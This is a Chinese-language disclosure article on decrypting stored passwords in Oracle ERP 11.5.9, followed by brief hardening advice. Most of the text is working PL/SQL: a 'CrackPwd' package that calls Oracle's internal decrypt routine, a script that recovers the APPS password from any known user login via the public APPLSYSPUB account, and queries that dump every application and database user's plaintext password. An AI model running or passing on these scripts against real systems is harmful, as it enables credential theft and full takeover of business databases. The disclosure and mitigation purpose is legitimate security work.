1. 寫作目的
2. 利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源碼如下
(1).建立Package Header
(2).建立Package Body.
3. 取得APPS密碼的步驟
4. 通過任何一個User name/password取得APPS密碼的方法
5. 通過FND_USER:ENCRYPTED_USER_PASSWORD取得純文字密碼的方法
6. 通過上面建立的Package取得所有Oracle ERP Application User 密碼的方法
7. 通過上面建立的Package取得所有Oracle ERP Database User密碼的方法
8. 刪除第一步建立的Package
9. 結論
10. 提高Oracle ERP的安全性
11. 此程式在Oracle ERP 11.5.9通過Toad測試通過
1。1.寫作目的
在要不要寫出來讓大家知道這個問題上想了很久, 但一想到遲早密碼破解的方法還是會被人知道的,與其讓少部分人知道,還不如讓大家都知道,事先好作防範.
公布密碼破解方法的目的還是想讓Oracle ERP做得更安全一點,讓我們大家放心的去用,畢竟是幾千萬的東西,現在的安全性顯然還達不到使用者的要求. 想借大家的力量給Oracle施加一點壓力,以將Oracle ERP的各個版本改得安全一點.
2. 2. 利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源碼如下
(1).建立Package Header
CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER
AS
FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
RETURN VARCHAR2;
END CrackPwd;
(2).建立Package Body
CREATE OR REPLACE PACKAGE BODY CrackPwd
AS
FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
RETURN VARCHAR2
AS
LANGUAGE JAVA
NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END CrackPwd;
/
3. 3. 取得APPS密碼的步驟
假設現在什麼Oracle erp許可權都沒有,怎麼去知道oracle erp databaes的許可權呢? 我們知道Oracle erp提供了一個database的公用賬戶(gateway user),此賬戶擁有database的最小許可權,這個公用帳號是: APPLSYSPUB/PUB(oracle erp網頁中或URL中都有公開此賬戶),雖然此賬戶沒有什麼許可權,但卻有FND_USER_VIEW 的查詢許可權,通過這個view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD欄位,問題就出在這個view的ENCRYPED_FOUNDATION_PASSWORD欄位上, ENCRYPED_FOUNDATION_PASSWORD這個欄位是由APPS的密碼和使用者密碼一起通過密碼編譯演算法得出的結果, 因此只要知道Oracle ERP的解密演算法就可以通過fnd_user中任何一個user的password反查apps的密碼.,而要知道fnd_user中任何一個user的密碼是太簡單的事了,在erp安裝時就預設了很多賬戶,這些賬戶的user name和password都是一樣的,一般沒有人去改這些賬戶的密碼
4. 4. 通過任何一個User name/password取得APPS密碼的方法
SET SERVEROUTPUT ON
DECLARE
guestUserPwd VARCHAR2(200);
guestUserName VARCHAR2(100);
guestFndPwd VARCHAR2(100);
guestEncFndPwd VARCHAR2(100);
delim NUMBER;
BEGIN
guestUserPwd :='GUEST/ORACLE';--Can any user password
IF guestUserPwd IS NULL THEN
guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));
END IF;
delim := INSTR(guestUserPwd,'/');
guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
SELECT encrypted_foundation_password INTO guestEncFndPwd
FROM fnd_user_view
WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
(end_date IS NULL OR end_date > SYSDATE);
guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
IF NOT (guestFndPwd IS NULL) THEN
DBMS_OUTPUT.put_line(guestFndPwd);
END IF;
END;
注: guestUserPwd :='GUEST/ORACLE';--Can any user password
上面這一行可以改成任何一個User的username/password,帳號和密碼之間用”/”隔開
以上程式可以用toad執行
5. 5. 通過FND_USER:ENCRYPTED_USER_PASSWORD取得純文字密碼的方法
SET SERVEROUT ON
DECLARE
v_encrypted_pwd VARCHAR2 (100);
v_apps_pwd VARCHAR2 (100);
v_user_pwd VARCHAR (100);
BEGIN
v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D58
3C10B916D88062771250F4BE653891CA90671C74187B132118335';
--get ENCRYPTED_USER_PASSWORD from fnd_user
IF v_apps_pwd IS NULL
THEN
v_apps_pwd := 'APPS';
END IF;
v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);
DBMS_OUTPUT.put_line (v_user_pwd);
END;
6. 6. 通過上面建立的Package取得所有Oracle ERP Application User 密碼的方法
SELECT user_name,CrackPwd.getpwd('APPS',ENCRYPTED_USER_PASSWORD) pwd FROM APPS.fnd_user
7. 7. 通過上面建立的Package取得所有Oracle ERP Database User密碼的方法
select fou.oracle_username,CrackPwd.getpwd('APPS',encrypted_oracle_password) pwd from APPS.fnd_oracle_userid fou
8. 8. 刪除第一步建立的Package
DROP PACKAGE CrackPwd
9. 9. 結論
11).只要知道fnd_user中任何一個人的密碼就可以反推APPS的密碼,即使將database中apps密碼改掉也可以反推.
22).反過來只要知道了apps的密碼,fnd_user中所有user的密碼都可以反推
33).以此類推,只要知道fnd_user中任何一個人的密碼就可以反推其它所有User的密碼.
44).同理,oracle erp db user(table:fnd_oracle_userid)中密碼的密碼編譯演算法同fnd_user,也就是說只要知道了APPS的密碼,則db user的所有密碼都可以反推.
1010. 提高Oracle ERP的安全性
(1).更改APPS的密碼
(2).更改所有預先安裝的fnd_user中所有user的password
(3).更改oracle erp database中的所有user(通過table:fnd_oracle_userid進行查詢)的password
(4).更改在Profile: GUEST_USER_PWD 中預先設定的GUEST賬戶密碼
(5).盡量不要將Database 可以通過公網串連.
(6).User離職後要將其密碼變更後才停用.
但此方法也無法防止內部User知道APPS密碼,只有當你所有密碼都更改過了,你才敢在公網上串連ERP的Database.
11.此程式在Oracle ERP 11.5.9通過